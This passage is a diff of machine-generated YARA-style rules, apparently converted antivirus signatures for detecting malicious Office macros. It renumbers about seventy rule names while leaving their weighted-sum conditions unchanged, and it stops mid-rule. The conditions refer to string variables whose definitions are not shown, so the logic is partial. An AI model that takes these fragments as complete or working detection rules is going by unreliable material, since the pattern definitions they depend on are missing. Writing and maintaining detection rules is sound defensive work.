@@ rule _InfrastructureShared_24258{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_74_2 & 1)*21251) >=3 } -rule _InfrastructureShared_24259{ +rule _InfrastructureShared_25548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -316229,7 +332763,7 @@ rule _InfrastructureShared_24259{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*28261+(#a_66_2 & 1)*29289) >=3 } -rule _InfrastructureShared_24260{ +rule _InfrastructureShared_25549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316243,7 +332777,7 @@ rule _InfrastructureShared_24260{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_20_2 & 1)*-28632+(#a_20_3 & 1)*8194+(#a_00_4 & 1)*28271) >=5 } -rule _InfrastructureShared_24261{ +rule _InfrastructureShared_25550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316257,7 +332791,7 @@ rule _InfrastructureShared_24261{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*19783+(#a_47_2 & 1)*25413+(#a_20_3 & 1)*8194+(#a_6d_4 & 1)*29541) >=5 } -rule _InfrastructureShared_24262{ +rule _InfrastructureShared_25551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -316272,7 +332806,7 @@ rule _InfrastructureShared_24262{ ((#a_53_0 & 1)*19747+(#a_43_1 & 1)*8194+(#a_90_2 & 1)*11040+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1) >=6 } -rule _InfrastructureShared_24263{ +rule _InfrastructureShared_25552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -316287,7 +332821,7 @@ rule _InfrastructureShared_24263{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8304+(#a_72_2 & 1)*17184+(#a_6c_3 & 1)*26707+(#a_6a_4 & 1)*29268+(#a_49_5 & 1)*25710) >=6 } -rule _InfrastructureShared_24264{ +rule _InfrastructureShared_25553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -316306,7 +332840,7 @@ rule _InfrastructureShared_24264{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*28755+(#a_01_2 & 1)*29806+(#a_28_3 & 1)*29798+(#a_2e_4 & 1)*5120+(#a_90_5 & 1)*25972+(#a_75_6 & 1)*21536+(#a_61_7 & 1)*29550+(#a_1f_8 & 1)*-28571+(#a_6d_9 & 1)*27962) >=10 } -rule _InfrastructureShared_24265{ +rule _InfrastructureShared_25554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -316318,7 +332852,7 @@ rule _InfrastructureShared_24265{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*26982+(#a_6d_2 & 1)*25390) >=3 } -rule _InfrastructureShared_24266{ +rule _InfrastructureShared_25555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,09 00 09 00 09 00 21 " @@ -316336,7 +332870,7 @@ rule _InfrastructureShared_24266{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*8769+(#a_74_2 & 1)*9760+(#a_6f_3 & 1)*25938+(#a_65_4 & 1)*24944+(#a_2f_5 & 1)*14137+(#a_65_6 & 1)*26213+(#a_6e_7 & 1)*19488+(#a_41_8 & 1)*27753) >=9 } -rule _InfrastructureShared_24267{ +rule _InfrastructureShared_25556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -316349,7 +332883,7 @@ rule _InfrastructureShared_24267{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*29281+(#a_2d_2 & 1)*10593+(#a_20_3 & 1)*28712) >=6 } -rule _InfrastructureShared_24268{ +rule _InfrastructureShared_25557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -316365,7 +332899,7 @@ rule _InfrastructureShared_24268{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*29779+(#a_0c_2 & 1)*10536+(#a_00_3 & 1)*1+(#a_53_4 & 1)*19747+(#a_42_5 & 1)*19317+(#a_59_6 & 1)*16974) >=7 } -rule _InfrastructureShared_24269{ +rule _InfrastructureShared_25558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316379,7 +332913,7 @@ rule _InfrastructureShared_24269{ ((#a_53_0 & 1)*19747+(#a_42_1 & 1)*19317+(#a_59_2 & 1)*16974+(#a_4e_3 & 1)*30013+(#a_75_4 & 1)*25938) >=5 } -rule _InfrastructureShared_24270{ +rule _InfrastructureShared_25559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316393,7 +332927,7 @@ rule _InfrastructureShared_24270{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*18761+(#a_3d_2 & 1)*21326+(#a_90_3 & 1)*29801+(#a_72_4 & 1)*17696) >=5 } -rule _InfrastructureShared_24271{ +rule _InfrastructureShared_25560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316407,7 +332941,7 @@ rule _InfrastructureShared_24271{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*29041+(#a_32_2 & 1)*10281+(#a_73_3 & 1)*10609+(#a_71_4 & 1)*8736) >=5 } -rule _InfrastructureShared_24272{ +rule _InfrastructureShared_25561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -316422,7 +332956,7 @@ rule _InfrastructureShared_24272{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*29547+(#a_75_2 & 1)*24918+(#a_4f_3 & 1)*29793+(#a_76_4 & 1)*29296+(#a_62_5 & 1)*27751) >=6 } -rule _InfrastructureShared_24273{ +rule _InfrastructureShared_25562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -316437,7 +332971,7 @@ rule _InfrastructureShared_24273{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*25454+(#a_79_2 & 1)*11385+(#a_63_3 & 1)*29551+(#a_57_4 & 1)*14915+(#a_6e_5 & 1)*24919) >=6 } -rule _InfrastructureShared_24274{ +rule _InfrastructureShared_25563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 09 00 21 " @@ -316455,7 +332989,7 @@ rule _InfrastructureShared_24274{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28003+(#a_77_2 & 1)*25710+(#a_6e_3 & 1)*23602+(#a_20_4 & 1)*12290+(#a_02_5 & 1)*27968+(#a_90_6 & 1)*-32766+(#a_60_7 & 1)*-28614+(#a_02_8 & 1)*26976) >=11 } -rule _InfrastructureShared_24275{ +rule _InfrastructureShared_25564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -316470,7 +333004,7 @@ rule _InfrastructureShared_24275{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*12290+(#a_90_2 & 1)*28674+(#a_60_3 & 1)*-28614+(#a_02_4 & 1)*26976+(#a_01_5 & 1)*10281) >=1 } -rule _InfrastructureShared_24276{ +rule _InfrastructureShared_25565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316484,7 +333018,7 @@ rule _InfrastructureShared_24276{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*8736+(#a_32_2 & 1)*10574+(#a_57_3 & 1)*10281+(#a_29_4 & 1)*10536) >=5 } -rule _InfrastructureShared_24277{ +rule _InfrastructureShared_25566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -316500,7 +333034,7 @@ rule _InfrastructureShared_24277{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*16963+(#a_6e_2 & 1)*2+(#a_6e_3 & 1)*17952+(#a_76_4 & 1)*29264+(#a_29_5 & 1)*10355+(#a_2d_6 & 1)*8736) >=7 } -rule _InfrastructureShared_24278{ +rule _InfrastructureShared_25567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -316519,7 +333053,7 @@ rule _InfrastructureShared_24278{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*30022+(#a_20_2 & 1)*8226+(#a_4f_3 & 1)*28492+(#a_3a_4 & 1)*21587+(#a_3a_5 & 1)*28280+(#a_77_6 & 1)*14943+(#a_20_7 & 1)*30752+(#a_20_8 & 1)*28530+(#a_3d_9 & 1)*813) >=10 } -rule _InfrastructureShared_24279{ +rule _InfrastructureShared_25568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -316531,7 +333065,7 @@ rule _InfrastructureShared_24279{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*30496+(#a_78_2 & 1)*11374) >=3 } -rule _InfrastructureShared_24280{ +rule _InfrastructureShared_25569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -316547,7 +333081,7 @@ rule _InfrastructureShared_24280{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_20_2 & 1)*9728+(#a_69_3 & 1)*656+(#a_20_4 & 1)*28229+(#a_70_5 & 1)*21024+(#a_6e_6 & 1)*28484) >=7 } -rule _InfrastructureShared_24281{ +rule _InfrastructureShared_25570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -316563,7 +333097,7 @@ rule _InfrastructureShared_24281{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*26988+(#a_66_2 & 1)*9760+(#a_4e_3 & 1)*10545+(#a_20_4 & 1)*29555+(#a_20_5 & 1)*8307+(#a_00_6 & 1)*66) >=7 } -rule _InfrastructureShared_24282{ +rule _InfrastructureShared_25571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -316580,7 +333114,7 @@ rule _InfrastructureShared_24282{ ((#a_53_0 & 1)*19747+(#a_29_1 & 1)*10355+(#a_65_2 & 1)*11825+(#a_55_3 & 1)*11267+(#a_62_4 & 1)*21280+(#a_2f_5 & 1)*14137+(#a_00_6 & 1)*32382+(#a_7e_7 & 1)*32257) >=8 } -rule _InfrastructureShared_24283{ +rule _InfrastructureShared_25572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 06 00 21 " @@ -316594,7 +333128,7 @@ rule _InfrastructureShared_24283{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*8270+(#a_29_2 & 1)*13856+(#a_43_3 & 1)*25461+(#a_00_4 & 1)*25231) >=2 } -rule _InfrastructureShared_24284{ +rule _InfrastructureShared_25573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -316606,7 +333140,7 @@ rule _InfrastructureShared_24284{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*8236+(#a_79_2 & 1)*27240) >=3 } -rule _InfrastructureShared_24285{ +rule _InfrastructureShared_25574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -316618,7 +333152,7 @@ rule _InfrastructureShared_24285{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*29811+(#a_23_2 & 1)*9315) >=3 } -rule _InfrastructureShared_24286{ +rule _InfrastructureShared_25575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -316630,7 +333164,7 @@ rule _InfrastructureShared_24286{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*25959+(#a_20_2 & 1)*25973) >=1 } -rule _InfrastructureShared_24287{ +rule _InfrastructureShared_25576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 08 00 21 " @@ -316646,7 +333180,7 @@ rule _InfrastructureShared_24287{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8233+(#a_6f_2 & 1)*29486+(#a_4c_4 & 1)*12032+(#a_20_5 & 1)*12290+(#a_41_6 & 1)*8194+(#a_20_7 & 1)*8224) >=1 } -rule _InfrastructureShared_24288{ +rule _InfrastructureShared_25577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -316659,7 +333193,7 @@ rule _InfrastructureShared_24288{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*8744+(#a_65_2 & 1)*10537+(#a_74_3 & 1)*28277) >=4 } -rule _InfrastructureShared_24289{ +rule _InfrastructureShared_25578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 06 00 21 " @@ -316674,7 +333208,7 @@ rule _InfrastructureShared_24289{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*8306+(#a_47_2 & 1)*19010+(#a_77_3 & 1)*16747+(#a_28_4 & 1)*25445+(#a_48_5 & 1)*26723) >=5 } -rule _InfrastructureShared_24290{ +rule _InfrastructureShared_25579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 02 00 21 " @@ -316685,7 +333219,7 @@ rule _InfrastructureShared_24290{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*25956) >=5 } -rule _InfrastructureShared_24291{ +rule _InfrastructureShared_25580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -316701,7 +333235,7 @@ rule _InfrastructureShared_24291{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*31074+(#a_6e_2 & 1)*27759+(#a_65_3 & 1)*29552+(#a_62_4 & 1)*25972+(#a_73_5 & 1)*11040+(#a_77_6 & 1)*17261) >=7 } -rule _InfrastructureShared_24292{ +rule _InfrastructureShared_25581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -316715,7 +333249,7 @@ rule _InfrastructureShared_24292{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8808+(#a_3d_2 & 1)*25955+(#a_22_3 & 1)*26707+(#a_01_4 & 1)*1) >=1 } -rule _InfrastructureShared_24293{ +rule _InfrastructureShared_25582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -316727,7 +333261,7 @@ rule _InfrastructureShared_24293{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27749+(#a_20_2 & 1)*28515) >=2 } -rule _InfrastructureShared_24294{ +rule _InfrastructureShared_25583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 09 00 21 " @@ -316745,7 +333279,7 @@ rule _InfrastructureShared_24294{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*19713+(#a_22_2 & 1)*25705+(#a_22_3 & 1)*11298+(#a_26_4 & 1)*10536+(#a_74_5 & 1)*30789+(#a_30_6 & 1)*12336+(#a_74_7 & 1)*28718+(#a_61_8 & 1)*24900) >=8 } -rule _InfrastructureShared_24295{ +rule _InfrastructureShared_25584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316759,7 +333293,7 @@ rule _InfrastructureShared_24295{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28526+(#a_72_2 & 1)*25945+(#a_28_3 & 1)*25445+(#a_67_4 & 1)*28014) >=5 } -rule _InfrastructureShared_24296{ +rule _InfrastructureShared_25585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316773,7 +333307,7 @@ rule _InfrastructureShared_24296{ ((#a_53_0 & 1)*19747+(#a_79_1 & 1)*28515+(#a_64_2 & 1)*29537+(#a_6f_3 & 1)*25711+(#a_3d_4 & 1)*12878) >=5 } -rule _InfrastructureShared_24297{ +rule _InfrastructureShared_25586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -316786,7 +333320,7 @@ rule _InfrastructureShared_24297{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*20073+(#a_6a_2 & 1)*21821+(#a_2b_3 & 1)*8765) >=4 } -rule _InfrastructureShared_24298{ +rule _InfrastructureShared_25587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -316799,7 +333333,7 @@ rule _InfrastructureShared_24298{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*21792+(#a_20_2 & 1)*8195+(#a_6f_3 & 1)*29285) >=4 } -rule _InfrastructureShared_24299{ +rule _InfrastructureShared_25588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316812,7 +333346,7 @@ rule _InfrastructureShared_24299{ ((#a_53_0 & 1)*19747+(#a_33_1 & 1)*14177+(#a_62_3 & 1)*14642+(#a_0a_4 & 1)*-28632) >=5 } -rule _InfrastructureShared_24300{ +rule _InfrastructureShared_25589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316826,7 +333360,7 @@ rule _InfrastructureShared_24300{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*10530+(#a_29_2 & 1)*29491+(#a_4a_3 & 1)*10281+(#a_32_4 & 1)*13096) >=5 } -rule _InfrastructureShared_24301{ +rule _InfrastructureShared_25590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -316845,7 +333379,7 @@ rule _InfrastructureShared_24301{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28516+(#a_65_2 & 1)*8293+(#a_00_3 & 1)*27745+(#a_6e_4 & 1)*28783+(#a_68_5 & 1)*29800+(#a_2c_6 & 1)*27257+(#a_3a_7 & 1)*21587+(#a_6d_8 & 1)*20000+(#a_75_9 & 1)*8291) >=10 } -rule _InfrastructureShared_24302{ +rule _InfrastructureShared_25591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 02 00 21 " @@ -316856,7 +333390,7 @@ rule _InfrastructureShared_24302{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*25445) >=3 } -rule _InfrastructureShared_24303{ +rule _InfrastructureShared_25592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -316872,7 +333406,7 @@ rule _InfrastructureShared_24303{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*9760+(#a_74_2 & 1)*28265+(#a_69_3 & 1)*25454+(#a_28_4 & 1)*29285+(#a_72_5 & 1)*28261+(#a_58_6 & 1)*10595) >=7 } -rule _InfrastructureShared_24304{ +rule _InfrastructureShared_25593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,64 00 64 00 06 00 21 " @@ -316887,7 +333421,7 @@ rule _InfrastructureShared_24304{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*28265+(#a_58_2 & 1)*10595+(#a_20_3 & 1)*16706+(#a_00_4 & 1)*144+(#a_6c_5 & 1)*8962) >=100 } -rule _InfrastructureShared_24305{ +rule _InfrastructureShared_25594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -316900,7 +333434,7 @@ rule _InfrastructureShared_24305{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*25968+(#a_34_2 & 1)*10287+(#a_43_3 & 1)*14135) >=4 } -rule _InfrastructureShared_24306{ +rule _InfrastructureShared_25595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -316916,7 +333450,7 @@ rule _InfrastructureShared_24306{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*29793+(#a_26_2 & 1)*-254+(#a_54_3 & 1)*8738+(#a_63_4 & 1)*30269+(#a_21_5 & 1)*21038+(#a_22_6 & 1)*11265) >=7 } -rule _InfrastructureShared_24307{ +rule _InfrastructureShared_25596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -316929,7 +333463,7 @@ rule _InfrastructureShared_24307{ ((#a_53_0 & 1)*19747+(#a_39_1 & 1)*15648+(#a_28_2 & 1)*26988+(#a_73_3 & 1)*28524) >=4 } -rule _InfrastructureShared_24308{ +rule _InfrastructureShared_25597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -316943,7 +333477,7 @@ rule _InfrastructureShared_24308{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_6a_2 & 1)*20325+(#a_02_3 & 1)*-28631+(#a_65_4 & 1)*30067) >=5 } -rule _InfrastructureShared_24309{ +rule _InfrastructureShared_25598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -316955,7 +333489,7 @@ rule _InfrastructureShared_24309{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28192+(#a_20_2 & 1)*8302) >=3 } -rule _InfrastructureShared_24310{ +rule _InfrastructureShared_25599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -316967,7 +333501,7 @@ rule _InfrastructureShared_24310{ ((#a_4c_0 & 1)*21539+(#a_3a_1 & 1)*29805+(#a_20_2 & 1)*8308) >=3 } -rule _InfrastructureShared_24311{ +rule _InfrastructureShared_25600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -316980,7 +333514,7 @@ rule _InfrastructureShared_24311{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*8224+(#a_20_2 & 1)*31082+(#a_6a_3 & 1)*13344) >=4 } -rule _InfrastructureShared_24312{ +rule _InfrastructureShared_25601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 06 00 21 " @@ -316994,7 +333528,7 @@ rule _InfrastructureShared_24312{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*23586+(#a_68_3 & 1)*8253+(#a_22_4 & 1)*27749+(#a_4f_5 & 1)*29793) >=5 } -rule _InfrastructureShared_24313{ +rule _InfrastructureShared_25602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -317009,7 +333543,7 @@ rule _InfrastructureShared_24313{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*8801+(#a_70_2 & 1)*29441+(#a_6c_3 & 1)*21761+(#a_68_4 & 1)*8738+(#a_29_5 & 1)*656) >=6 } -rule _InfrastructureShared_24314{ +rule _InfrastructureShared_25603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -317022,7 +333556,7 @@ rule _InfrastructureShared_24314{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*11040+(#a_20_2 & 1)*8288+(#a_3d_3 & 1)*-28670) >=4 } -rule _InfrastructureShared_24315{ +rule _InfrastructureShared_25604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -317034,7 +333568,7 @@ rule _InfrastructureShared_24315{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*8250+(#a_75_2 & 1)*14958) >=3 } -rule _InfrastructureShared_24316{ +rule _InfrastructureShared_25605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 08 00 21 " @@ -317050,7 +333584,7 @@ rule _InfrastructureShared_24316{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*10+(#a_2c_2 & 1)*12328+(#a_0d_4 & 1)*8738+(#a_6f_5 & 1)*10361+(#a_1d_6 & 1)*2573+(#a_77_7 & 1)*656) >=2 } -rule _InfrastructureShared_24317{ +rule _InfrastructureShared_25606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -317066,7 +333600,7 @@ rule _InfrastructureShared_24317{ ((#a_53_0 & 1)*19747+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1) >=7 } -rule _InfrastructureShared_24318{ +rule _InfrastructureShared_25607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 18 00 21 " @@ -317099,7 +333633,7 @@ rule _InfrastructureShared_24318{ ((#a_53_0 & 1)*19747+(#a_41_1 & 1)*31087+(#a_01_2 & 1)*25189+(#a_72_3 & 1)*266+(#a_90_4 & 1)*29505+(#a_90_5 & 1)*8253+(#a_00_6 & 1)*144+(#a_6d_7 & 1)*17411+(#a_90_8 & 1)*29801+(#a_00_9 & 1)*144+(#a_72_10 & 1)*11779+(#a_65_11 & 1)*30067+(#a_02_12 & 1)*11023+(#a_53_13 & 1)*9580+(#a_74_14 & 1)*25940+(#a_6e_15 & 1)*17455+(#a_76_16 & 1)*29795+(#a_72_17 & 1)*26478+(#a_00_18 & 1)*29285+(#a_4d_19 & 1)*14671+(#a_63_20 & 1)*27746+(#a_74_21 & 1)*24912+(#a_28_22 & 1)*29505+(#a_02_23 & 1)*29472) >=1 } -rule _InfrastructureShared_24319{ +rule _InfrastructureShared_25608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317113,7 +333647,7 @@ rule _InfrastructureShared_24319{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_69_2 & 1)*846+(#a_20_3 & 1)*-28577+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_24320{ +rule _InfrastructureShared_25609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -317128,7 +333662,7 @@ rule _InfrastructureShared_24320{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*21251+(#a_20_2 & 1)*8202+(#a_6c_3 & 1)*26707+(#a_65_4 & 1)*11877+(#a_4d_5 & 1)*23610) >=1 } -rule _InfrastructureShared_24321{ +rule _InfrastructureShared_25610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -317141,7 +333675,7 @@ rule _InfrastructureShared_24321{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29285+(#a_6d_2 & 1)*28518+(#a_65_3 & 1)*28261) >=4 } -rule _InfrastructureShared_24322{ +rule _InfrastructureShared_25611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317155,7 +333689,7 @@ rule _InfrastructureShared_24322{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25205+(#a_72_2 & 1)*29812+(#a_90_3 & 1)*28521+(#a_73_4 & 1)*656) >=5 } -rule _InfrastructureShared_24323{ +rule _InfrastructureShared_25612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317169,7 +333703,7 @@ rule _InfrastructureShared_24323{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*15648+(#a_02_2 & 1)*13088+(#a_2c_3 & 1)*8194+(#a_69_4 & 1)*25454) >=5 } -rule _InfrastructureShared_24324{ +rule _InfrastructureShared_25613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 0a 00 21 " @@ -317187,7 +333721,7 @@ rule _InfrastructureShared_24324{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*31085+(#a_2f_3 & 1)*14960+(#a_6f_4 & 1)*11873+(#a_31_5 & 1)*12147+(#a_69_6 & 1)*20526+(#a_28_7 & 1)*656+(#a_61_8 & 1)*11842+(#a_54_9 & 1)*288) >=7 } -rule _InfrastructureShared_24325{ +rule _InfrastructureShared_25614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -317201,7 +333735,7 @@ rule _InfrastructureShared_24325{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*10355+(#a_74_2 & 1)*21353+(#a_69_3 & 1)*30575+(#a_75_4 & 1)*28500) >=5 } -rule _InfrastructureShared_24326{ +rule _InfrastructureShared_25615{ meta: description = 